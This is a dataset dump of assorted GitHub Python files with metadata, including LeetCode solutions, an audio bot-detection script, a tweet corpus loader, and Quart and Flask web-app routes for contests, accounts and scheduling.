str(input('Message : \\n'))\n\tsq = str(input('status eff : \\n'))\n\tsm = str(input('target : \\n'))\n\tif ss == 'finish' : \n\t\tc = open('status.txt','w')\n\t\tc.write(str(i))\n\t\tc.close()\n\t\tbreak\n\tnew = new.replace(\"''\",\"'{}' ,\".format(ss)).replace(\"'1'\",\" , '{}' ,\".format(sq)).replace(\"'2'\",\" , '{}' ,\".format(sm))\n\tf.write(new)\n\nf.close()\nfp.close()","repo_name":"gamedevshirious/Awesome-Python-Code","sub_path":"Pokemon/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"1980134019","text":"# Question: 119. Pascal's Triangle II\n# Difficulty: Easy\n# Tags: Array\n'''\nGiven an index k, return the kth row of the Pascal's triangle.\n\nFor example, given k = 3,\nReturn [1,3,3,1].\n\nNote:\n Could you optimize your algorithm to use only O(k) extra space?\n'''\nclass Solution(object):\n def getRow(self, rowIndex):\n \"\"\"\n :type rowIndex: int\n :rtype: List[int]\n \"\"\"\n result = []\n for i in range(1, rowIndex+2):\n if i == 0: result.append([])\n if i == 1: result.append([1])\n if i == 2: result.append([1,1])\n else:\n last = result[len(result)-1]\n new = []\n for x in range(1, len(last)):\n new.append(last[x-1]+last[x])\n new.insert(0,1)\n new.append(1)\n result.append(new)\n return result[len(result)-1]\n\ns = Solution()\nprint(s.getRow(3))","repo_name":"ErinC123/Algorithm","sub_path":"Leetcode/101-200/119. Pascal's Triangle II.py","file_name":"119. Pascal's Triangle II.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15561341522","text":"import os\nimport pickle\nimport pdb\n\nimport scipy.io.wavfile as wav\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom python_speech_features import mfcc\nfrom scipy.spatial import distance, KDTree\nfrom preprocessing import remove_silence\n\nhuman_training_dir = os.path.join(os.path.curdir, 'dataset', 'train', 'good')\nbot_training_dir = os.path.join(os.path.curdir, 'dataset', 'train', 'bad')\n\ndef extract_features(audio):\n sound = remove_silence(audio)\n (rate, sig) = wav.read(sound)\n features = mfcc(sig, rate, nfft=1024, preemph=0.9)\n return features\n\nhuman_data = np.empty(shape=(0, 13))\nbot_data = np.empty(shape=(0, 13))\n\nfor human_audio in os.listdir(human_training_dir):\n features = extract_features(os.path.join(human_training_dir, human_audio))\n human_data = np.concatenate((human_data, features))\n\nfor bot_audio in os.listdir(bot_training_dir):\n features = extract_features(os.path.join(bot_training_dir, bot_audio))\n bot_data = np.concatenate((bot_data, features))\n\ntree = KDTree(np.concatenate((human_data, bot_data)))\n\nhuman_data_dump = pickle.dumps(human_data)\nbot_data_dump = pickle.dumps(bot_data)\ntree_dump = pickle.dumps(tree)\n\nhuman_files = ['shrink_next_door.wav', 'the_daily.wav']\nbot_files = ['bot4.wav', 'bot5.wav']#'google1.wav', 'cortana.wav']\n\nfiles = np.concatenate((human_files, bot_files))\n\nhuman_count_per = []\nbot_count_per = []\n\nfor audio in human_files:\n human_count = 0\n bot_count = 0\n for feature in extract_features(os.path.join(os.path.curdir, 'dataset', 'human', audio)):\n (dist, ind) = tree.query(feature)\n if ind < len(human_data):\n human_count += 1\n else:\n bot_count += 1\n human_count_per.append(human_count)\n bot_count_per.append(bot_count)\n\nfor audio in bot_files:\n human_count = 0\n bot_count = 0\n for feature in extract_features(os.path.join(os.path.curdir, 'dataset', 'bot', audio)):\n (dist, ind) = tree.query(feature)\n if ind < len(human_data):\n human_count += 1\n else:\n bot_count += 1\n human_count_per.append(human_count)\n bot_count_per.append(bot_count)\n\nN = len(files)\nind = np.arange(N)\n\np1 = plt.bar(ind, bot_count_per, color='#1F77B4')\np2 = plt.bar(ind, human_count_per, bottom=bot_count_per, color='#FF7F0E')\n\nplt.title('Number of Human vs Bot Frames per Sample')\nplt.ylabel('Number of Frames')\nplt.xticks(ind, ['Human 1', 'Human 2', 'Bot 1', 'Bot 2'])\nplt.legend((p2[0], p1[0]), ('Human Frames', 'Bot Frames'))\n\nplt.show()\n\npdb.set_trace()\n","repo_name":"klanmiko/1-day-audio-CAPTCHA","sub_path":"frame_graph.py","file_name":"frame_graph.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35863651086","text":"import asyncio\nfrom statistics import mean, median, pstdev\nfrom typing import Optional\n\nfrom quart import Blueprint, Response, abort, flash, g, redirect, render_template, request, url_for\nfrom quart_auth import current_user\n\nfrom wykoj.api import TestCaseAPI\nfrom wykoj.blueprints.utils.access import contest_redirect\nfrom wykoj.blueprints.utils.misc import get_page, get_running_contest\nfrom wykoj.blueprints.utils.pagination import Pagination\nfrom wykoj.constants import ContestStatus\nfrom wykoj.models import Contest, ContestParticipation, Submission\n\ncontest_blueprint = Blueprint(\"contest\", __name__, url_prefix=\"/contest/\")\n\n\n@contest_blueprint.before_request\nasync def before_request() -> None:\n contest_id = request.view_args[\"contest_id\"]\n contest = await Contest.filter(id=contest_id).prefetch_related(\"tasks\").first()\n if not contest:\n abort(404)\n\n if request.endpoint in (\"main.contest.submissions_page\", \"main.contest.results\"):\n # All contest tasks must be public for these endpoints\n # to be accessible by for non-admin non-contestants\n if not (\n contest.status == ContestStatus.ONGOING and\n (current_user.is_admin or await contest.is_contestant(current_user))\n or contest.status == ContestStatus.ENDED and (\n current_user.is_admin or await contest.is_contestant(current_user)\n or all(task.is_public for task in contest.tasks)\n )\n ):\n abort(404)\n\n running_contest = await get_running_contest()\n if (\n running_contest and contest != running_contest and not current_user.is_admin\n and await running_contest.is_contestant(current_user)\n ):\n abort(404)\n\n g.show_links = (\n contest.status == ContestStatus.ONGOING and\n (current_user.is_admin or await contest.is_contestant(current_user))\n or contest.status == ContestStatus.ENDED and (\n current_user.is_admin or await contest.is_contestant(current_user)\n or all(task.is_public for task in contest.tasks)\n )\n )\n\n\n@contest_blueprint.route(\"/\")\nasync def contest_page(contest_id: int) -> str:\n contest = await Contest.filter(id=contest_id\n ).prefetch_related(\"tasks\",\n \"participations__task_points__task\").first()\n\n # Prepare scoreboard of current user\n contest_task_points = []\n first_solves = []\n contest_participation = None\n if await current_user.is_authenticated:\n contest_participation = await contest.participations.filter(\n contestant=current_user.user\n ).prefetch_related(\"task_points\").first()\n if contest_participation:\n for task in contest.tasks:\n ctp = [ctp for ctp in contest_participation.task_points if ctp.task_id == task.id]\n contest_task_points.append(ctp[0] if ctp else None)\n first_solve = await contest.submissions.filter(\n author=current_user.user, task=task, first_solve=True\n ).first()\n first_solves.append(first_solve.time - contest.start_time if first_solve else None)\n\n if contest.status in (ContestStatus.PRE_PREP, ContestStatus.PREP):\n return await render_template(\n \"contest/contest.html\",\n title=contest.title,\n contest=contest,\n ContestStatus=ContestStatus\n )\n\n show_stats = (\n contest.status == ContestStatus.ONGOING and current_user.is_admin\n or contest.status == ContestStatus.ENDED and (\n current_user.is_admin or await contest.is_contestant(current_user)\n or all(task.is_public for task in contest.tasks)\n )\n )\n\n # Load subtask points of each contest task\n points = []\n for task in contest.tasks:\n config = await TestCaseAPI.get_config(task.task_id)\n if not config:\n abort(451)\n points.append(config[\"points\"] if config[\"batched\"] else [100])\n\n # Calculate contest statistics\n stats = {task.task_id: {\"attempts\": 0, \"data\": []} for task in contest.tasks}\n stats[\"overall\"] = {\"attempts\": 0, \"data\": []}\n for cp in contest.participations:\n if cp.task_points:\n stats[\"overall\"][\"attempts\"] += 1\n stats[\"overall\"][\"data\"].append(await cp.total_points)\n for ctp in cp.task_points:\n stats[ctp.task.task_id][\"attempts\"] += 1\n stats[ctp.task.task_id][\"data\"].append(ctp.total_points)\n for key in stats:\n stats[key][\"max\"] = max(stats[key][\"data\"], default=\"--\")\n stats[key][\"max_cnt\"] = stats[key][\"data\"].count(stats[key][\"max\"]\n ) if stats[key][\"attempts\"] else \"--\"\n stats[key][\"mean\"] = mean(stats[key][\"data\"]) if stats[key][\"attempts\"] else \"--\"\n stats[key][\"median\"] = median(stats[key][\"data\"]) if stats[key][\"attempts\"] else \"--\"\n stats[key][\"sd\"] = pstdev(stats[key][\"data\"]) if stats[key][\"attempts\"] else \"--\"\n\n return await render_template(\n \"contest/contest.html\",\n title=contest.title,\n contest=contest,\n contest_participation=contest_participation,\n contest_task_points=tuple(zip(contest_task_points, points)),\n contest_tasks_count=len(contest.tasks),\n first_solves=first_solves,\n stats=stats,\n show_stats=show_stats,\n ContestStatus=ContestStatus\n )\n\n\n@contest_blueprint.route(\"/join\", methods=[\"POST\"])\n@contest_redirect\nasync def join(contest_id: int) -> Response:\n contest = await Contest.filter(id=contest_id).first()\n if not (\n contest.is_public and contest.status == ContestStatus.PRE_PREP\n and await current_user.is_authenticated and not current_user.is_admin\n and not await contest.is_contestant(current_user)\n ):\n abort(400)\n\n await ContestParticipation.create(contest=contest, contestant=current_user.user)\n await flash(\"Successfully joined.\", \"success\")\n return redirect(url_for(\"main.contest.contest_page\", contest_id=contest.id))\n\n\n@contest_blueprint.route(\"/leave\", methods=[\"POST\"])\n@contest_redirect\nasync def leave(contest_id: int) -> Response:\n contest = await Contest.filter(id=contest_id).first()\n if not (\n contest.is_public and contest.status == ContestStatus.PRE_PREP\n and await current_user.is_authenticated and not current_user.is_admin\n and await contest.is_contestant(current_user)\n ):\n abort(400)\n\n await contest.participations.filter(contestant=current_user.user).delete()\n await flash(\"Successfully left.\", \"success\")\n return redirect(url_for(\"main.contest.contest_page\", contest_id=contest.id))\n\n\n@contest_blueprint.route(\"/submissions\")\nasync def submissions_page(contest_id: int) -> str:\n contest = await Contest.filter(id=contest_id).prefetch_related(\"tasks\").first()\n\n if current_user.is_admin:\n submissions = contest.submissions.all()\n elif contest.status == ContestStatus.ONGOING and await contest.is_contestant(current_user):\n submissions = contest.submissions.filter(author=current_user.user)\n else:\n submissions = contest.submissions.filter(task__is_public=True)\n cnt = await submissions.count()\n page = get_page()\n submissions = await submissions.offset(\n (page - 1) * 50\n ).limit(50).prefetch_related(\"task\", \"author\", \"contest\")\n pagination = Pagination(submissions, page=page, per_page=50, total=cnt)\n\n return await render_template(\n \"contest/contest_submissions.html\",\n title=f\"Submissions - {contest.title}\",\n contest=contest,\n submissions=submissions,\n pagination=pagination,\n show_pagination=cnt > 50\n )\n\n\n@contest_blueprint.route(\"/results\")\nasync def results(contest_id: int) -> str:\n contest = await Contest.filter(id=contest_id).prefetch_related(\"tasks\").first()\n\n contest_participations = await contest.participations.all().prefetch_related(\n \"task_points\", \"contestant\"\n )\n # Load all points first\n await asyncio.gather(*[cp.total_points for cp in contest_participations])\n\n # Sort contest participations by points then username\n cp_sort_key = {\n cp: (- await cp.total_points, cp.contestant.username)\n for cp in contest_participations\n }\n contest_participations.sort(key=cp_sort_key.__getitem__)\n\n ranked_cp = [] # Contest participations with ranks\n contest_task_points = [] # Points of each task of each contestant\n # Stores first solve of each task of each contestant then timedelta taken to solve\n first_solves = []\n rank = 1\n\n for i in range(len(contest_participations)):\n if i != 0 and await contest_participations[i].total_points < await contest_participations[\n i - 1].total_points:\n rank = i + 1\n ranked_cp.append((rank, contest_participations[i]))\n contest_task_points.append([])\n first_solves.append([])\n for task in contest.tasks:\n # Find corresponding contest task points for task\n ctp = [ctp for ctp in contest_participations[i].task_points if ctp.task_id == task.id]\n contest_task_points[-1].append(ctp[0] if ctp else None)\n\n # Cannot create task with QuerySet directly (despite awaitable) so it is wrapped in async function\n async def get_first_solve(task_id: int, contestant_id: int) -> Optional[Submission]:\n return await Submission.filter(\n task_id=task_id, author_id=contestant_id, first_solve=True, contest=contest\n ).first()\n\n # Get first solve of current contestant and task later\n first_solves[-1].append(\n asyncio.create_task(\n get_first_solve(task.id, contest_participations[i].contestant_id)\n )\n )\n\n # For each contestant-task pair, retrieve first solve\n # and calculate timedelta taken to solve (if solve exists)\n for i in range(len(contest_participations)):\n for j in range(len(contest.tasks)):\n first_solve = await first_solves[i][j]\n first_solves[i][j] = first_solve.time - contest.start_time if first_solve else None\n\n # First solve of each task\n contest_first_solves = await asyncio.gather(\n *[\n task.submissions.filter(first_solve=True, contest=contest\n ).prefetch_related(\"author\").order_by(\"id\").first()\n for task in contest.tasks\n ]\n )\n # Contestants who submitted the solved each task first\n contest_first_solve_contestants = [\n first_solve.author if first_solve else None for first_solve in contest_first_solves\n ]\n\n return await render_template(\n \"contest/contest_results.html\",\n title=f\"Results - {contest.title}\",\n contest=contest,\n ranked_cp=ranked_cp,\n contest_task_points=contest_task_points,\n first_solves=first_solves,\n contest_tasks_count=len(contest.tasks),\n contest_first_solve_contestants=contest_first_solve_contestants\n )\n\n\n@contest_blueprint.route(\"/editorial\")\nasync def editorial(contest_id: int) -> str:\n contest = await Contest.filter(id=contest_id).first()\n if not contest.publish_editorial:\n abort(404)\n\n return await render_template(\n \"contest/editorial.html\", title=f\"Editorial - {contest.title}\", contest=contest\n )\n","repo_name":"wykstemteam/wykoj","sub_path":"wykoj/blueprints/main/contest.py","file_name":"contest.py","file_ext":"py","file_size_in_byte":11543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"22095305892","text":"import pandas as pd\n\nfrom myapp.core.utils import load_json_file\nfrom myapp.search.objects import Document\n\n_corpus = {}\n\n\ndef load_corpus(path) -> [Document]:\n \"\"\"\n Load file and transform to dictionary with each document as an object for easier treatment when needed for displaying\n in results, stats, etc.\n :param path:\n :return:\n \"\"\"\n df = _load_corpus_as_dataframe(path)\n df.apply(_row_to_doc_dict, axis=1)\n return _corpus\n\n\ndef _load_corpus_as_dataframe(path):\n \"\"\"\n Load documents corpus from file in 'path'\n :return:\n \"\"\"\n json_data = load_json_file(path)\n tweets_df = _load_tweets_as_dataframe(json_data)\n _clean_hashtags_and_urls(tweets_df)\n # Rename columns to obtain: Tweet | Username | Date | Hashtags | Likes | Retweets | Url | Language\n corpus = tweets_df.rename(\n columns={\"id\": \"Id\", \"full_text\": \"Tweet\", \"screen_name\": \"Username\", \"created_at\": \"Date\",\n \"favorite_count\": \"Likes\",\n \"retweet_count\": \"Retweets\", \"lang\": \"Language\"})\n\n # select only interesting columns\n filter_columns = [\"Id\", \"Tweet\", \"Username\", \"Date\", \"Hashtags\", \"Likes\", \"Retweets\", \"Url\", \"Language\"]\n corpus = corpus[filter_columns]\n return corpus\n\n\ndef _load_tweets_as_dataframe(json_data):\n data = pd.DataFrame(json_data).transpose()\n # parse entities as new columns\n data = pd.concat([data.drop(['entities'], axis=1), data['entities'].apply(pd.Series)], axis=1)\n # parse user data as new columns and rename some columns to prevent duplicate column names\n data = pd.concat([data.drop(['user'], axis=1), data['user'].apply(pd.Series).rename(\n columns={\"created_at\": \"user_created_at\", \"id\": \"user_id\", \"id_str\": \"user_id_str\", \"lang\": \"user_lang\"})],\n axis=1)\n return data\n\n\ndef _build_tags(row):\n tags = []\n # for ht in row[\"hashtags\"]:\n # tags.append(ht[\"text\"])\n for ht in row:\n tags.append(ht[\"text\"])\n return tags\n\n\ndef _build_url(row):\n url = \"\"\n try:\n url = row[\"entities\"][\"url\"][\"urls\"][0][\"url\"] # tweet URL\n except:\n try:\n url = row[\"retweeted_status\"][\"extended_tweet\"][\"entities\"][\"media\"][0][\"url\"] # Retweeted\n except:\n url = \"\"\n return url\n\n\ndef _clean_hashtags_and_urls(df):\n df[\"Hashtags\"] = df[\"hashtags\"].apply(_build_tags)\n df[\"Url\"] = df.apply(lambda row: _build_url(row), axis=1)\n # df[\"Url\"] = \"TODO: get url from json\"\n df.drop(columns=[\"entities\"], axis=1, inplace=True)\n\n\ndef load_tweets_as_dataframe2(json_data):\n \"\"\"Load json into a dataframe\n\n Parameters:\n path (string): the file path\n\n Returns:\n DataFrame: a Panda DataFrame containing the tweet content in columns\n \"\"\"\n # Load the JSON as a Dictionary\n tweets_dictionary = json_data.items()\n # Load the Dictionary into a DataFrame.\n dataframe = pd.DataFrame(tweets_dictionary)\n # remove first column that just has indices as strings: '0', '1', etc.\n dataframe.drop(dataframe.columns[0], axis=1, inplace=True)\n return dataframe\n\n\ndef load_tweets_as_dataframe3(json_data):\n \"\"\"Load json data into a dataframe\n\n Parameters:\n json_data (string): the json object\n\n Returns:\n DataFrame: a Panda DataFrame containing the tweet content in columns\n \"\"\"\n\n # Load the JSON object into a DataFrame.\n dataframe = pd.DataFrame(json_data).transpose()\n\n # select only interesting columns\n filter_columns = [\"id\", \"full_text\", \"created_at\", \"entities\", \"retweet_count\", \"favorite_count\", \"lang\"]\n dataframe = dataframe[filter_columns]\n return dataframe\n\n\ndef _row_to_doc_dict(row: pd.Series):\n _corpus[row['Id']] = Document(row['Id'], row['Tweet'][0:100], row['Tweet'], row['Date'], row['Likes'],\n row['Retweets'],\n row['Url'], row['Hashtags'])\n","repo_name":"Rafael-Bardisa/IRWA-2022-u172944-u172935","sub_path":"IRWA-2022-part-4/myapp/search/load_corpus.py","file_name":"load_corpus.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"26097611004","text":"# 2215. Find the Difference of Two Arrays\n# Given two 0-indexed integer arrays nums1 and nums2, return a list answer of size 2 where:\n# answer[0] is a list of all distinct integers in nums1 which are not present in nums2.\n# answer[1] is a list of all distinct integers in nums2 which are not present in nums1.\n# Note that the integers in the lists may be returned in any order.\n\ndef findDifference(nums1, nums2):\n map1 = {}\n map2 = {}\n answer = [[], []]\n for num in nums1:\n if not map1.get(num):\n map1[num] = 'nums1'\n for num in nums2:\n if map1.get(num):\n map1[num] = 'both'\n else:\n if not map2.get(num):\n map2[num] = 'nums2'\n for key in map1:\n if map1[key] == 'nums1':\n answer[0].append(key)\n for key in map2:\n answer[1].append(key)\n return answer\n \nprint(findDifference([1,9,9], [1,10,10]))","repo_name":"tpett20/LeetCode","sub_path":"2215.py","file_name":"2215.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8194603761","text":"from __future__ import annotations\n\n\nclass ListNode:\n def __init__(self, val: int = 0, next: ListNode = None):\n self.val = val\n self.next = next\n\n @staticmethod\n def from_array(array: list[int]):\n head = None\n prev = None\n for index, value in enumerate(array):\n cur = ListNode(value)\n\n if prev is not None:\n prev.next = cur\n else:\n head = cur\n\n prev = cur\n return head\n\n def to_list(self, parent_list=None):\n if parent_list is None:\n parent_list = []\n\n parent_list.append(self.val)\n if self.next is None:\n return parent_list\n else:\n return self.next.to_list(parent_list)\n\n def __eq__(self, other):\n cur_self = self\n cur_other = other\n\n while cur_self is not None and cur_other is not None:\n if not cur_self.val == cur_other.val:\n return False\n cur_self = cur_self.next\n cur_other = cur_other.next\n\n if cur_other is None and cur_self is None:\n return True\n\n return False\n","repo_name":"GautierBlandin/leetcode","sub_path":"medium/add_two_numbers_linked_list/ListNode.py","file_name":"ListNode.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21118905204","text":"\"\"\"\nGiven a sorted list of integers of length N, determine\nif an element x is in the list without performing\nany multiplication, division, or bit-shift operations.\n\"\"\"\nfrom bisect import bisect\nfrom typing import List\n\n\ndef is_in_list(lst: List[int], el: int) -> bool:\n pos = bisect(lst, el)\n return pos >= 0 and lst[pos - 1] == el\n\n\nif __name__ == \"__main__\":\n assert is_in_list([1, 2, 3, 4, 5], 3) is True\n assert is_in_list([10, 20, 30, 40, 50], 5) is False\n assert is_in_list([1, 2, 3, 4, 5], 6) is False\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_201_to_300/271.py","file_name":"271.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1892824325","text":"from flask import request, redirect, url_for, render_template, session, abort\nfrom functools import wraps\nfrom utils import json_response\nfrom constants import PAGE_SIZE, SESSION_DURATION\nfrom services import notification as notification_service\nfrom services import role as role_service\nfrom services import account as account_service\nfrom services import event as event_service\nfrom services import person as person_service\nfrom services import place as place_service\nfrom services import mail as mail_service\nfrom services import mail_notification as mail_notification_service\nfrom flock.app import db_wrapper\nimport json\nfrom datetime import datetime\nfrom time import time\nimport __builtin__\napp = __builtin__.flock_app\n\ndef auth(permissions=None):\n def actualDecorator(test_func):\n @wraps(test_func)\n def wrapper(*args, **kwargs):\n\n session['stamp'] = time()\n if session.get('user_id') is None:\n session.clear()\n abort(403, 'You are no longer logged in!')\n\n user_permissions = db_wrapper.permissions_get(session['user_id'])\n for permission in permissions or []:\n if not user_permissions or permission not in user_permissions:\n abort(400, \"You don't have permission to do this!\")\n\n return test_func(*args, **kwargs)\n return wrapper\n return actualDecorator\n\ndef parse_args(string_args=None, int_args=None, json_args=None, bool_args=None):\n def actualDecorator(test_func):\n @wraps(test_func)\n def wrapper(*args, **kwargs):\n input = request.form\n output = {}\n for key in string_args or []:\n output[key] = input.get(key)\n\n for key in int_args or []:\n output[key] = int(input.get(key, 0))\n\n for key in json_args or []:\n input_json = input.get(key)\n output[key] = json.loads(input_json) if input_json else input_json\n\n for key in bool_args or []:\n output[key] = bool(input.get(key, False))\n\n return test_func(output, *args, **kwargs)\n return wrapper\n return actualDecorator\n\n@app.route('/heartbeat')\ndef heartbeat():\n if 'stamp' not in session or time() - session['stamp'] > SESSION_DURATION:\n session.clear()\n abort(403, 'You are no longer logged in!')\n return \"Still logged in :)\", 200\n\n@app.route('/')\ndef root():\n current_user = session.get('user_id')\n\n if current_user is None:\n return redirect(url_for('login'))\n\n permissions = db_wrapper.permissions_get(session['user_id'])\n if permissions is None:\n return redirect(url_for('login'))\n\n current_user = person_service.get(user_id=current_user)\n\n return render_template(\n 'index.html',\n user_name=current_user.name,\n user_id=current_user.id,\n company_id=current_user.company.id,\n company_name=current_user.company.name,\n image=current_user.image,\n permissions=permissions\n )\n\n@app.route('/templates')\ndef templates():\n return app.send_static_file('hb_templates/templates.html')\n\n#### User Account/Session ####\n\n@app.route('/login')\ndef login():\n return render_template('login.html')\n\n@app.route('/activate/')\ndef activate_form(token):\n person = db_wrapper.person_get(token=token)\n\n # Can't find user by this token so they must be active\n if not person:\n return render_template(\n 'login.html',\n error_msg=\"Woops, we couldn't find your invitation. You'll need to ask your administrator to send a new one. \"\n )\n\n # Account already activated\n if person.active:\n return render_template(\n 'login.html',\n info_msg=\"Your account has already been activated. You can log in now.\"\n )\n\n return render_template('activate.html', token=token, name=person.name, email=person.email)\n\n@app.route('/activate', methods=['POST'])\n@parse_args(string_args=['token', 'name', 'password', 'email'])\ndef activate_account(account):\n db_wrapper.activate_user(\n account['token'],\n account['name'],\n account['password']\n )\n session['user_id'], session['company_id'] = db_wrapper.authenticate_user(account['email'], account['password'])\n return 'Account Activated :)', 200\n\n@app.route('/forgot_password')\ndef forgot_password():\n return render_template('forgot_password.html')\n\n@app.route('/logout')\ndef logout():\n session.clear()\n return redirect(url_for('login'))\n\n@app.route('/registration')\ndef registration():\n return render_template('register.html')\n\n@app.route('/register', methods=['POST'])\n@parse_args(string_args=['email', 'name', 'password', 'company'])\ndef register(user):\n db_wrapper.register_user(\n user[\"name\"],\n user[\"email\"],\n user[\"password\"],\n user[\"company\"]\n )\n return login_user()\n\n@app.route('/user', methods=['GET'])\ndef user():\n return json_response(person_service.get(user_id=session['user_id']).to_dict())\n\n@app.route('/user', methods=['POST'])\n@parse_args(string_args=['phone', 'name', 'image'])\ndef user_post(user):\n user.update({\n 'id': session['user_id']\n })\n person_service.update(user)\n return 'Account Updated', 200\n\n@app.route('/password', methods=['POST'])\n@parse_args(string_args=['new', 'current'])\ndef password_post(password):\n user = person_service.get(user_id=session['user_id'])\n db_wrapper.authenticate_user(user.email, password['current'])\n db_wrapper.update_password(session['user_id'], password['new'])\n return \"Password Updated\", 200\n\n@app.route('/image', methods=['POST'])\ndef image_post():\n account_service.upload_image(session['user_id'], request.files['files[]'])\n return \"Profile Image Updated\", 200\n\n@app.route('/login_user', methods=['POST'])\n@parse_args(string_args=['password', 'email'])\ndef login_user(user):\n session['user_id'], session['company_id'] = db_wrapper.authenticate_user(user['email'], user['password'])\n return 'Logged in :)', 200\n\n@app.route('/reset_user', methods=['POST'])\ndef reset_user():\n account_service.reset(request.form.get(\"email\"))\n return 'Password reset. You should receive an email shortly :)', 200\n\n#### People ####\n\n@app.route('/people', methods=['DELETE'])\n@auth(['edit_people'])\n@parse_args(int_args=['id'], string_args=['name'])\ndef people_delete(person):\n person_service.delete(person[\"id\"], session['user_id'], session['company_id'])\n return u'{} has been deleted'.format(person[\"name\"]), 200\n\n@app.route('/people', methods=['GET'])\n@auth()\ndef people():\n data, count = person_service.get(\n session['company_id'],\n search=request.args.get('search'),\n sort_by=request.args.get('sort_by'),\n sort_dir=request.args.get('sort_dir'),\n limit=int(request.args.get('limit', PAGE_SIZE)),\n offset=int(request.args.get('offset', 0))\n )\n return json_response({'data': data, 'count': count})\n\n@app.route('/people', methods=['PUT'])\n@auth(['edit_people'])\n@parse_args(string_args=['name', 'email', 'phone'], bool_args=['invite'], int_args=['id', 'role'])\ndef people_put(person):\n person_service.update(person)\n return u'{} has been updated'.format(person['name']), 200\n\n@app.route('/people', methods=['POST'])\n@auth(['edit_people'])\n@parse_args(string_args=['name', 'email', 'phone'], bool_args=['invite'], int_args=['role'])\ndef people_post(person):\n person['company_id'] = session['company_id']\n person_service.add(person, session['user_id'])\n return u'{} has been added'.format(person['name']), 200\n\n@app.route('/people/invite', methods=['POST'])\n@auth(['edit_people'])\ndef people_invite():\n email = request.form.get(\"email\")\n person_service.invite(email, session['user_id'])\n return u'Invitation has been sent to {}'.format(email), 200\n\n#### Places ####\n\n@app.route('/places', methods=['DELETE'])\n@auth(['edit_places'])\ndef places_delete():\n place_service.delete(request.form.get(\"id\"))\n return u'{} has been deleted'.format(request.form.get(\"name\")), 200\n\n@app.route('/places', methods=['GET'])\n@auth()\ndef places():\n data, count = place_service.get(\n session['company_id'],\n search=request.args.get('search'),\n sort_by=request.args.get('sort_by'),\n sort_dir=request.args.get('sort_dir'),\n limit=int(request.args.get('limit', PAGE_SIZE)),\n offset=int(request.args.get('offset', 0))\n )\n return json_response({'data': data, 'count': count})\n\n@app.route('/places', methods=['POST'])\n@auth(['edit_places'])\n@parse_args(string_args=['name', 'email', 'phone', 'address'])\ndef places_add(place):\n place['company'] = session['company_id']\n place_service.add(place)\n return u'{} has been added'.format(place['name']), 200\n\n@app.route('/places', methods=['PUT'])\n@auth(['edit_places'])\n@parse_args(string_args=['name', 'email', 'phone', 'address'], int_args=['id'])\ndef places_update(place):\n place['company'] = session['company_id']\n place_service.update(place)\n return u'{} has been updated'.format(place['name']), 200\n\n#### Events ####\n\n@app.route('/events', methods=['GET'])\n@auth()\ndef events():\n return json_response(event_service.get(\n session['company_id'],\n event_id=int(request.args.get('id', 0)),\n user_id=int(request.args.get('user_id', 0)),\n start=request.args.get('start'),\n end=request.args.get('end'),\n hide_expired='hide_expired' in request.args,\n limit=int(request.args.get('limit', PAGE_SIZE)) if 'limit' in request.args else None,\n sort_dir=request.args.get('sort_dir'),\n sort_by=request.args.get('sort_by'),\n offset=int(request.args.get('offset', 0)) if 'offset' in request.args else None,\n ))\n\n@app.route('/events', methods=['POST'])\n@auth(['edit_events'])\n@parse_args(string_args=['title', 'description', 'start', 'end'], int_args=['place'], json_args=['people'])\ndef events_post(event):\n event.update({\n 'owner': session['user_id'],\n 'company': session['company_id'],\n 'people': [int(person_id) for person_id in event['people']],\n 'start': datetime.strptime(event['start'], '%a %b %d %Y %H:%M'),\n 'end': datetime.strptime(event['end'], '%a %b %d %Y %H:%M'),\n })\n event_service.add(event)\n return u'{} Event Added'.format(event['title'])\n\n@app.route('/events', methods=['PUT'])\n@auth(['edit_events'])\n@parse_args(string_args=['title', 'description', 'start', 'end'], int_args=['id', 'place'], json_args=['people'])\ndef events_put(event):\n event.update({\n 'owner': session['user_id'],\n 'company': session['company_id'],\n 'people': [int(person_id) for person_id in event['people']],\n 'start': datetime.strptime(event['start'], '%a %b %d %Y %H:%M'),\n 'end': datetime.strptime(event['end'], '%a %b %d %Y %H:%M'),\n })\n event_service.update(event)\n return u'{} Event Updated'.format(event['title'])\n\n@app.route('/events', methods=['DELETE'])\n@auth(['edit_events'])\n@parse_args(int_args=['id'], string_args=['title'])\ndef events_delete(event):\n event_service.delete(event)\n return u'{} Event Deleted'.format(event['title'])\n\n#### Roles ####\n\n@app.route('/roles', methods=['GET'])\n@auth()\ndef roles():\n return json_response(role_service.get(company_id=session['company_id'], user_id=session['user_id']))\n\n@app.route('/roles', methods=['PUT'])\n@auth(['edit_system_settings'])\n@parse_args(int_args=['id'], string_args=['theme', 'name'], json_args=['permissions'])\ndef roles_update(role):\n role_service.update(role)\n return u'{} Role Updated'.format(role['name']), 200\n\n@app.route('/roles', methods=['POST'])\n@auth(['edit_system_settings'])\n@parse_args(string_args=['theme', 'name'], json_args=['permissions'])\ndef roles_add(role):\n role_service.add(role, session['company_id'])\n return u'{} Role Added'.format(role[\"name\"]), 200\n\n@app.route('/roles', methods=['DELETE'])\n@auth(['edit_system_settings'])\ndef roles_delete():\n role_id = request.form.get(\"id\")\n role = role_service.get(role_id=role_id)\n role_service.delete(role_id)\n return u'{} Role Deleted'.format(role.name), 200\n\n#### Notifications ####\n\n@app.route('/notifications', methods=['GET'])\n@auth()\ndef notifications():\n return json_response(notification_service.get(\n company_id=session['company_id'],\n limit=int(request.args.get('limit', PAGE_SIZE)),\n 